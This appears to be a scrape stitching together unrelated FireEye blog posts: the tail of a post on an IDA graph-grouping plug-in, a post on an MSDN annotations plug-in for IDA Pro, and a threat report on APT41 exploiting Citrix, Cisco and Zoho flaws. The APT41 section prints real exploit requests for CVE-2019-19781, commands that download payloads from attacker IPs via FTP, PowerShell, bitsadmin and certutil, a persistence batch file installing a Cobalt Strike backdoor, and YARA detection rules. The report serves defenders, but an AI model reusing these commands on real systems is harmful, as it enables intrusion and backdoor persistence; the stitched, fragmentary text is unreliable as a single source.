Configuration=ReleaseIDA695_64 /property:
Platform=Win32
``` Conclusion I hope this blog has shown the power of automatically grouping nodes within a disassembly graph view, and viewing these groups in isolation to help with your analysis.
This plug-in has become a staple of my workflow, and we’re releasing it to the community with the hope that others find it useful as well.
Appendix:
Isolated Subgraphs Finding isolated subgraphs relies on calculating the immediate dominator and immediate post-dominator trees for a given function graph.
A node d dominates n if every path to n must go through d.
The immediate dominator p of node n is basically the closest dominator to n, where there is no node t where p dominates t, and t dominates n.
A node z post-dominates a node n if every path from n to the exit node must go through z.
The immediate post-dominator x of node n is the closest post-dominator, where there is no node t where t post-dominates n and x post-dominates t. The immediate dominator relationship forms a tree of nodes, where every node has an immediate dominator other than the entry node.
The Lengauer-Tarjan algorithm can efficiently calculate the immediate dominator tree of a graph.
It can also calculate the immediate post-dominator tree by reversing the direction of each edge in the same graph.
The plug-in calculates the immediate dominator tree and immediate post-dominator tree of the function control flow graph and looks for the situations where the (idom[i] =
= j) and (ipdom[j] ==
i).
This means all paths from the function start to node i must go through node j, and all paths from j to the function terminal must go through i.
A candidate isolated subgraph thus starts at node j and ends at node i.
For each candidate isolated subgraph, the plug-in further verifies only the entry node has predecessor nodes not in the candidate subgraph.
The plug-in also filters out candidate subgraphs by making sure they have a minimum node count and cover a maximum percentage of nodes (see MINIMUM_SUBGRAPH_NODE_COUNT and MAXIMUM_SUBGRAPH_NODE_PERCENTAGE in the config section).
One complication is that functions often have more than one terminal node – programmers can arbitrarily return from the current function at any point.
The immediate post-dominator tree is calculated for every terminal node, and any inconsistencies are marked as indeterminate and are not possible candidates for use.
Functions with infinite loops do not have terminal nodes, and are not currently handled.
For a simple example, consider the graph in Figure 14.
It has the following immediate dominator and post-dominator trees: Figure 14:
Example graph Node idom 0
None 1 0 2 1 3 1 4 3 5 3 6 3 7 6 8 0 Node ipdom 0 8 1 3 2 3 3 6 4 6 5 6 6 7 7 8 8 None Looking for pairs of (idom[i] == j) and (ipdom[j] == i) gives the following: (0, 8) (1, 3) (3, 6) (6,7) (0, 8) is filtered because it makes up all of the nodes of the graph.
(1,3) and (6, 7) are filtered out because they contain nodes reachable from nodes not in the set: for (1, 3) node 2 is reachable from node 6, and for (6, 7) node 2 is reachable from node 1.
This leaves (3, 6) as the only isolate subgraph in this example, shown in Figure 15.
Figure 15: Example graph with isolated subgraph Subscribe to Blogs Get email updates as new blog posts are added.
The FireEye Labs Advanced Reverse Engineering (FLARE)
Team continues to share knowledge and tools with the community.
We started this blog series with a script for Automatic Recovery of Constructed Strings in Malware .
As always, you can download these scripts at the following location: https://github.com/fireeye/flare-ida .
We hope you find all these scripts as useful as we do.
Motivation During my summer internship with the FLARE team, my goal was to develop IDAPython plug-ins that speed up the reverse engineering workflow in IDA Pro.
While analyzing malware samples with the team, I realized that a lot of time is spent looking up information about functions, arguments, and constants at the Microsoft Developer Network (MSDN) website.
Frequently switching to the developer documentation can interrupt the reverse engineering process, so we thought about ways to integrate MSDN information into IDA Pro automatically.
In this blog post we will release a script that does just that, and we will show you how to use it.
Introduction The MSDN Annotations plug-in integrates information about functions, arguments and return values into IDA Pro’s disassembly listing in the form of IDA comments.
This allows the information to be integrated as seamlessly as possible.
Additionally, the plug-in is able to automatically rename constants, which further speeds up the analyst workflow.
The plug-in relies on an offline XML database file, which is generated from Microsoft’s documentation and IDA type library files.
Features Table 1 shows what benefit the plug-in provides to an analyst.
On the left you can see IDA Pro’s standard disassembly: seven arguments get pushed onto the stack and then the CreateFileA function is called.
Normally an analyst would have to look up function, argument and possibly constant descriptions in the documentation to understand what this code snippet is trying to accomplish.
To obtain readable constant values, an analyst would be required to research the respective argument, import the corresponding standard enumeration into IDA and then manually rename each value.
The right side of Table 1 shows the result of executing our plug-in showing the support it offers to an analyst.
The most obvious change is that constants are renamed automatically.
In this example, 40000000h was automatically converted to GENERIC_WRITE.
Additionally, each function argument is renamed to a unique name, so the corresponding description can be added to the disassembly.
Table 1: Automatic labelling of standard symbolic constants In Figure 1 you can see how the plug-in enables you to display function, argument, and constant information right within the disassembly.
The top image shows how hovering over the CreateFileA function displays a short description and the return value.
In the middle image, hovering over the hTemplateFile argument displays the corresponding description.
And in the bottom image, you can see how hovering over dwShareMode, the automatically renamed constant displays descriptive information.
Functions Arguments Constants Figure 1:
Hovering function names, arguments and constants displays the respective descriptions How it works Before the plug-in makes any changes to the disassembly, it creates a backup of the current IDA database file (IDB).
This file gets stored in the same directory as the current database and can be used to revert to the previous markup in case you do not like the changes or something goes wrong.
The plug-in is designed to run once on a sample before you start your analysis.
It relies on an offline database generated from the MSDN documentation and IDA Pro type library (TIL) files.
For every function reference in the import table, the plug-in annotates the function’s description and return value, adds argument descriptions, and renames constants.
An example of an annotated import table is depicted in Figure 2.
It shows how a descriptive comment is added to each API function call.
In order to identify addresses of instructions that position arguments prior to a function call, the plug-in relies on IDA Pro’s markup.
Figure 2:
Annotated import table Figure 3 shows the additional .msdn segment the plug-in creates in order to store argument descriptions.
This only impacts the IDA database file and does not modify the original binary.
Figure 3:
The additional segment added to the IDA database
The .msdn segment stores the argument descriptions as shown in Figure 4.
The unique argument names and their descriptive comments are sequentially added to the segment.
Figure 4:
Names and comments inserted for argument descriptions To allow the user to see constant descriptions by hovering over constants in the disassembly, the plug-in imports IDA Pro’s relevant standard enumeration and adds descriptive comments to the enumeration members.
Figure 5 shows this for the MACRO_CREATE enumeration, which stores constants passed as dwCreationDisposition to CreateFileA.
Figure 5:
Descriptions added to the constant enumeration members Preparing the MSDN database file The plug-in’s graphical interface requires you to have the QT framework and Python scripting installed.
This is included with the IDA Pro 6.6 release.
You can also set it up for IDA 6.5 as described here ( http://www.hexblog.com/?p=333 ).
As mentioned earlier, the plug-in requires an XML database file storing the MSDN documentation.
We cannot distribute the database file with the plug-in because Microsoft holds the copyright for it.
However, we provide a script to generate the database file.
It can be cloned from the git repository at https://github.com/fireeye/flare-ida together with the annotation plug-in.
You can take the following steps to setup the database file.
You only have to do this once.
Download and install an offline version of the MSDN documentationYou can download the Microsoft Windows SDK MSDN documentation.
The standalone installer can be downloaded from http://www.microsoft.com/en-us/download/details.aspx?id=18950 .
Although it is not the newest SDK version, it includes all the needed information and data extraction is straight-forward.
As shown in Figure 6, you can select to only install the help files.
By default they are located in C:\\Program Files\\Microsoft SDKs\\Windows\\v7.0\\Help\\1033.
Figure 6: Installing a local copy of the MSDN documentation Extract the files with an archive manager like 7-zip to a directory of your choice.
Download and extract tilib.exe from Hex-Ray’s download page at https://www.hex-rays.com/products/ida/support/download.shtml To allow the plug-in to rename constants, it needs to know which enumerations to import.
IDA Pro stores this information in TIL files located in %IDADIR%/til/.
Hex-Rays provides a tool (tilib) to show TIL file contents via their download page for registered users.
Download the tilib archive and extract the binary into %IDADIR%.
If you run tilib without any arguments and it displays its help message, the program is running correctly.
Run MSDN_crawler/msdn_crawler.py <path to extracted MSDN documentation> <path to tilib.exe> <path to til files>
With these prerequisites fulfilled, you can run the MSDN_crawler.py script, located in the MSDN_crawler directory.
It expects the path to the TIL files you want to extract (normally %IDADIR%/til/pc/) and the path to the extracted MSDN documentation.
After the script finishes execution the final XML database file should be located in the MSDN_data directory.
You can now run our plug-in to annotate your disassembly in IDA.
Running the MSDN annotations plug-in In IDA, use File - Script file...
(ALT + F7) to open the script named annotate_IDB_MSDN.py.
This will display the dialog box shown in Figure 7 that allows you to configure the modifications the plug-in performs.
By default, the plug-in annotates functions, arguments and rename constants.
If you change the settings and execute the plug-in by clicking OK, your settings get stored in a configuration file in the plug-in’s directory.
This allows you to quickly run the plug-in on other samples using your preferred settings.
If you do not choose to annotate functions and/or arguments, you will not be able to see the respective descriptions by hovering over the element.
Figure 7:
The plug-in’s configuration window showing the default settings When you choose to use repeatable comments for function name annotations, the description is visible in the disassembly listing, as shown in Figure 8.
Figure 8:
The plug-in’s preview of function annotations with repeatable comments Similar Tools and Known Limitations Parts of our solution were inspired by existing IDA Pro plug-ins, such as IDAScope and IDAAPIHelp .
A special thank you goes out to Zynamics for their MSDN crawler and the IDA importer which greatly supported our development.
Our plug-in has mainly been tested on IDA Pro for Windows, though it should work on all platforms.
Due to the structure of the MSDN documentation and limitations of the MSDN crawler, not all constants can be parsed automatically.
When you encounter missing information you can extend the annotation database by placing files with supplemental information into the MSDN_data directory.
In order to be processed correctly, they have to be valid XML following the schema given in the main database file (msdn_data.xml).
However, if you want to extend partly existing function information, you only have to add the additional fields.
Name tags are mandatory for this, as they get used to identify the respective element.
For example, if the parser did not recognize a commonly used constant, we could add the information manually.
For the CreateFileA function’s dwDesiredAccess argument the additional information could look similar to Listing 1.
<?
xml version=\"1.0\" encoding=\"ISO-8859-1\"?
> <msdn> <functions> <function> <name>
CreateFileA</name> <arguments> <argument> <name>dwDesiredAccess</name> <constants enums=\"MACRO_GENERIC\"> <constant> <name>
GENERIC_ALL</name> <value>0x10000000</value
> <description>All possible access rights</description> </constant> <constant> <name>GENERIC_EXECUTE</name
> <value>0x20000000</value> <description>Execute access</description> </constant> <constant> <name>GENERIC_WRITE</name> <value>0x40000000</value> <description>Write access</description> </constant> <constant> <name>GENERIC_READ</name> <value>0x80000000</value
> <description>
Read access</description> </constant> </constants> </argument> </arguments> </function> </functions> </msdn
>
Listing 1:
Additional information enhancing the dwDesiredAccess argument for the CreateFileA function Conclusion In this post, we showed how you can generate a MSDN database file used by our plug-in to automatically annotate information about functions, arguments and constants into IDA Pro’s disassembly.
Furthermore, we talked about how the plug-in works, and how you can configure and customize it.
We hope this speeds up your analysis process!
Stay tuned for the FLARE Team’s next post where we will release solutions for the FLARE On Challenge ( www.flare-on.com ).
Subscribe to Blogs Get email updates as new blog posts are added.
Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years.
Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC , Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers.
Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA.
The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility.
It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.
Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])
Starting on January 20, 2020, APT41 used the IP address 66.42.98[.
]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).
Figure 1: Timeline of key events The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41.
First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied.
Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.
One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.
POST /vpns/portal/scripts/newbm.pl
HTTP/1.1 Host: [redacted] Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.22.0 NSC_NONCE: nsroot NSC_USER: ../../../netscaler
/portal/templates/[redacted] Content-Length: 96 url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `file /bin/pwd`') %] Figure 2:
Example APT41 HTTP traffic exploiting CVE-2019-19781
There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020.
This has been a common activity pattern by Chinese APT groups in past years as well.
Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP).
Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\\@66.42.98[.
]220/bsd’, which connected to 66.42.98[.
]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1 Accept-Encoding: identity Content-Length: 147 Connection: close Nsc_User: ../../../netscaler
/portal/templates/[redacted]
User-Agent: Python-urllib/2.7 Nsc_Nonce:
nsroot Host: [redacted] Content-Type: application/x-www-form-urlencoded url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = ' print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\\@66.42.98[.
]220/bsd `') %]
Figure 3:
Example APT41 HTTP traffic exploiting CVE-2019-19781
We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020.
China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10.
While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry.
We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25.
The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.
POST /vpn/../vpns
/portal/scripts/newbm.pl HTTP/1.1 Accept-Encoding: identity Content-Length: 145 Connection: close Nsc_User: ../../../netscaler
/portal/templates/[redacted]
User-Agent: Python-urllib/2.7 Nsc_Nonce:
nsroot Host: [redacted] Content-Type: application/x-www-form-urlencoded url=http://example.com&title=
[redacted]&desc=[% template.new('BLOCK' = ' print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\\@66.42.98[.
]220/un `') %] Figure 4:
Example APT41 HTTP traffic exploiting CVE-2019-19781 Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.
Cisco Router Exploitation On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc).
It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s ( CVE-2019-1653 and CVE-2019-1652 ) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.
GET /test/fuc HTTP/1.1 Host: 66.42.98\\.220 User-Agent: Wget Connection: close Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget 66.42.98[.
]220 also hosted a file name http://66.42.98[.
]220/test/1.txt.
The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration.
Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action: Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability Cisco Small Business RV320 and RV325 Routers Command Injection Vulnerability Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)
On March 5, 2020, researcher Steven Seeley , published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 ( CVE-2020-10189) .
Beginning on March 8, FireEye observed APT41 use 91.208.184[.
]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers.
FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed.
In the first variation the CVE-2020-10189 exploit was used to directly upload “logger.zip”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.
java/lang/Runtime getRuntime ()Ljava/lang/Runtime; Xcmd /c powershell $client = new-object System.
Net.
WebClient;$client.
DownloadFile('http://66.42.98[.
]220:12345/test/install.bat','C:\\ Windows\\Temp\\install.bat')&powershell $client = new-object System.
Net.
WebClient;$client.
DownloadFile('http://66.42.98[.
]220:12345/test/storesyncsvc.dll',' C:\\Windows\\Temp\\storesyncsvc.dll')&C:\\Windows\\Temp\\install.bat '(Ljava/lang/String;)Ljava/lang/Process; StackMapTable ysoserial/Pwner76328858520609 Lysoserial/Pwner76328858520609; Figure 6: Contents of logger.zip
Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC.
The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.
In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.
]220 on port 12345.
Parent Process:
C:\\ManageEngine\\DesktopCentral_Server\\jre\\bin\\java.exe Process Arguments: cmd /c bitsadmin /transfer bbbb
http://66.42.98[.
]220:12345/test/install.bat C:\\Users\\Public\\install.bat Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).
@echo off set \"WORK_DIR=C:\\Windows\\System32\" set \"DLL_NAME=storesyncsvc.dll\" set \"SERVICE_NAME=StorSyncSvc\" set \"DISPLAY_NAME=
Storage Sync Service\" set \"DESCRIPTION=
The Storage Sync Service is the top-level resource for File Sync.
It creates sync relationships with multiple storage accounts via multiple sync groups.
If this service is stopped or disabled, applications will be unable to run collectly.\" sc stop %SERVICE_NAME% sc delete %SERVICE_NAME% mkdir %WORK_DIR% copy \"%~dp0%DLL_NAME%\" \"%WORK_DIR%\" /Y
reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v \"%SERVICE_NAME%\" /t
REG_MULTI_SZ /d \"%SERVICE_NAME%\" /f sc create \"%SERVICE_NAME%\" binPath= \"%SystemRoot%\\system32\\svchost.exe -k %SERVICE_NAME%\" type= share start= auto error= ignore DisplayName= \"%DISPLAY_NAME%\" SC failure \"%SERVICE_NAME%\" reset= 86400 actions= restart/60000/restart/60000/restart/60000 sc description \"%SERVICE_NAME%\" \"%DESCRIPTION%\" reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\%SERVICE_NAME%\\Parameters\" /f reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\%SERVICE_NAME%\\Parameters\" /v \"ServiceDll\" /t
REG_EXPAND_SZ /d \"%WORK_DIR%\\%DLL_NAME%\" /f net start \"%SERVICE_NAME%\" Figure 8: Contents of install.bat Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.
]com (with a DNS resolution of 74.82.201[.
]8) using a jquery malleable command and control (C2) profile.
GET /jquery-3.3.1.min.js
HTTP/1.1 Host: cdn.bootcss.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://cdn.bootcss.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=
CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM DA8y_rXEJQGZ6Xlkp_wCoqnImD-bj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache Figure 9:
Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions , which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c).
The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode.
The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.
GET /2.exe
HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Accept: */
* User-Agent: Microsoft-CryptoAPI/6.3 Host: 91.208.184[.
]78 Figure 10:
Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil certutil  -urlcache
-split -f http://91.208.184[.
]78/2.exe Figure 11:
Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.
]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).
GET /TzGG
HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.
]78:443 Connection: Keep-Alive Cache-Control: no-cache Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike
BEACON
The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.
]78.
We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.
ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.
Outlook This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years.
While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers , and seems to reveal a high operational tempo and wide collection requirements for APT41.
It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter.
While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance.
In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks.
This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.
Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396
(Atlassian Confluence) against a U.S. based university.
While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.
Indicators Type Indicator(s) CVE-2019-19781 Exploitation (Citrix Application Delivery Control)
66.42.98[.
]220 CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’ CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\\@66.42.98[.
]220/bsd’ CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\\@66.42.98[.
]220/un’ /tmp
/bsd /tmp/un Cisco Router Exploitation 66.42.98\\.220 ‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc CVE-2020-10189 (Zoho ManageEngine Desktop Central)
66.42.98[.
]220 91.208.184[.
]78 74.82.201[.
]8 exchange.dumb1[.
]com install.bat (MD5: 7966c2c546b71e800397a67f942858d0) storesyncsvc.dll
(MD5: 5909983db4d9023e4098e56361c96a6f)
C:\\Windows\\Temp\\storesyncsvc.dll
C:\\Windows\\Temp\\install.bat 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c) C:\\Users\\[redacted]\\install.bat TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)
C:\\ManageEngine\\DesktopCentral_Server\\jre\\bin\\java.exe spawning cmd.exe and/or bitsadmin.exe Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.
]78 PowerShell downloading files with Net.
WebClient Detecting the Techniques FireEye detects this activity across our platforms.
This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.
Platform Signature Name Endpoint Security BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY) CERTUTIL.EXE DOWNLOADER A (UTILITY)
Generic.mg.5909983db4d9023e
Generic.mg.3e856162c36b5329 POWERSHELL DOWNLOADER (METHODOLOGY)
SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY) SAMWELL (BACKDOOR) SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT) Network Security Backdoor.
Meterpreter DTI.Callback Exploit.
CitrixNetScaler Trojan.
METASTAGE Exploit.
ZohoManageEngine.
CVE-2020-10198.Pwner Exploit.
ZohoManageEngine.
CVE-2020-10198.mdmLogUploader Helix CITRIX ADC
[Suspicious Commands] EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt] EXPLOIT - CITRIX ADC
[CVE-2019-19781 Exploit Success]
EXPLOIT - CITRIX ADC
[CVE-2019-19781 Payload Access]
EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
MALWARE METHODOLOGY
[Certutil User-Agent] WINDOWS METHODOLOGY [BITSadmin Transfer] WINDOWS METHODOLOGY [Certutil Downloader]
MITRE ATT&CK Technique Mapping ATT&CK Techniques Initial Access External Remote Services (T1133), Exploit Public-Facing Application (T1190)
Execution PowerShell (T1086), Scripting (T1064)
Persistence New Service (T1050)
Privilege Escalation Exploitation for Privilege Escalation (T1068) Defense Evasion BITS Jobs (T1197), Process Injection (T1055) Command And Control
Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)
Appendix A:
Discovery Rules
The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting.
For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system.
Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections.
Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.
import \"pe\" rule ExportEngine_APT41_Loader_String { meta: author = \"@stvemillertime\" description \"This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll\" strings: $pcre = /loader_[\\x00-\\x7F]{1,}\\x00/
condition: uint16(0) ==
0x5A4D and uint32(uint32(0x3C))
=
=
0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) } rule ExportEngine_ShortName { meta: author = \"@stvemillertime\" description =
\"This looks for Win PEs where Export DLL name is a single character\" strings: $pcre = /[A-Za-z0-9]{1}\\.
(dll|exe|dat|bin|sys)/ condition: uint16(0) ==
0x5A4D and uint32(uint32(0x3C))
=
=
0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) } rule ExportEngine_xArch { meta: author = \"@stvemillertime\" description =
\"This looks for Win PEs where Export DLL name is a something like x32.dat\" strings: $pcre = /[\\x00-\\x7F]{1,}x(32|64|86)\\.dat\\x00/
condition: uint16(0) ==
0x5A4D and uint32(uint32(0x3C))
=
=
0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) } rule RareEquities_LibTomCrypt { meta: author = \"@stvemillertime\" description =
\"This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors https://github.com/libtom/libtomcrypt - might catch everything BEACON as well.
You may want to exclude Golang and UPX packed samples.\" strings: $a1 = \"LibTomMath\" condition: uint16(0) ==
0x5A4D and uint32(uint32(0x3C))
=
=
0x00004550 and $a1 } rule RareEquities_KCP { meta: author = \"@stvemillertime\" description = \"This is a wide catchall rule looking for executables with equities for a transport library called KCP, https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability.\" strings: $a01 = \"[RO] %ld bytes\" $a02 = \"recv sn=%lu\" $a03 = \"[RI] %d bytes\" $a04 =
\"input ack: sn=%lu rtt=%ld rto=%ld\" $a05 = \"input psh: sn=%lu ts=%lu\" $a06 = \"input probe\" $a07 =
\"input wins: %lu\" $a08 = \"rcv_nxt=%lu\\\\n\" $a09 = \"snd(buf=%d, queue=%d)\\\\n\" $a10 =
\"rcv(buf=%d, queue=%d)\\\\n\" $a11 = \"rcvbuf\" condition: (uint16(0) ==
0x5A4D and uint32(uint32(0x3C))
=
= 0x00004550) and filesize < 5MB and 3 of ($a*) } rule ConventionEngine_Term_Users { meta: author = \"@stvemillertime\" description =
\"Searching for PE files with PDB path keywords, terms or anomalies.\" sample_md5 = \"09e4e6fa85b802c46bc121fcaecc5666\" ref_blog = \"https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html\" strings: $pcre = /RSDS[\\x00-\\xFF]{20}[a-zA-Z]:\\\\[\\x00-\\xFF]{0,200}Users[\\x00-\\xFF]{0,200}\\.pdb\\x00/ nocase ascii condition: (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) ==
0x00004550 and $pcre } rule ConventionEngine_Term_Desktop { meta: author = \"@stvemillertime\" description =
\"Searching for PE files with PDB path keywords, terms or anomalies.\" sample_md5 = \"71cdba3859ca8bd03c1e996a790c04f9\" ref_blog = \"https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html\" strings: $pcre = /RSDS[\\x00-\\xFF]{20}[a-zA-Z]:\\\\[\\x00-\\xFF]{0,200}Desktop[\\x00-\\xFF]{0,200}\\.pdb\\x00/ nocase ascii condition: (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) ==
0x00004550 and $pcre } rule ConventionEngine_Anomaly_MultiPDB_Double { meta: author = \"@stvemillertime\" description =
